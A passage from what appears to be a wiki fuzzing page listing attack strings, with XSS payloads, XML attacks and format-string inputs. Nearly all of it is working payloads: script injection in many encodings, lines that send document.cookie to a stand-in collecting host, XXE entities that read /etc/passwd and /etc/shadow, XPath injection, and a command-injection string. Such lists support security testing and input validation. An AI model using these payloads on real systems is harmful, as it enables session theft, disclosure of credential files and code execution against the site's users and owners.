SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> 